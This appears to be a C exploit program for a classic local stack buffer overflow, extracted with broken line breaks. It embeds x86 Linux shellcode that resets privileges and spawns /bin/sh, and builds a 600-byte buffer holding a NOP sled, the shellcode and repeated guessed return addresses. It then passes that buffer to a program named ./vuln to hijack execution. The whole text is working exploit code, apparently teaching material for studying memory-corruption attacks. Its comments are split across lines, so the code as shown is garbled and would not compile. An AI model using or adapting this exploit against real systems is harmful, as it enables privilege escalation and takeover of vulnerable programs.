char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"
;
unsigned long sp(void)
//
This is just a little
function
{
__asm__(
"movl %esp, %eax"
);
}
//
used to
return
the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
//
Use an offset of 0
esp = sp();
//
Put the current stack pointer into esp
ret = esp - offset;
//
We want to overwrite the ret address
printf
(
"Stack pointer (ESP) : 0x%x\n"
, esp);
printf
(
" Offset from ESP : 0x%x\n"
, offset);
printf
(
"Desired Return Addr : 0x%x\n"
, ret);
//
Allocate 600 bytes
for
buffer (on the heap)
buffer = malloc(600);
//
Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for
(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
//
Fill the first 200 bytes of the buffer with NOP instructions
for
(i=0; i < 200; i++)
{ buffer[i] =
'\x90'
; }
//
Put the shellcode after the NOP sled
ptr = buffer + 200;
for
(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
//
End the string
buffer[600-1] = 0;
//
Now call the program .
/vuln
with our crafted buffer as its argument
execl(
"./vuln"
,
"vuln"
, buffer, 0);
//
Free the buffer memory
free
(buffer);
return
0;
}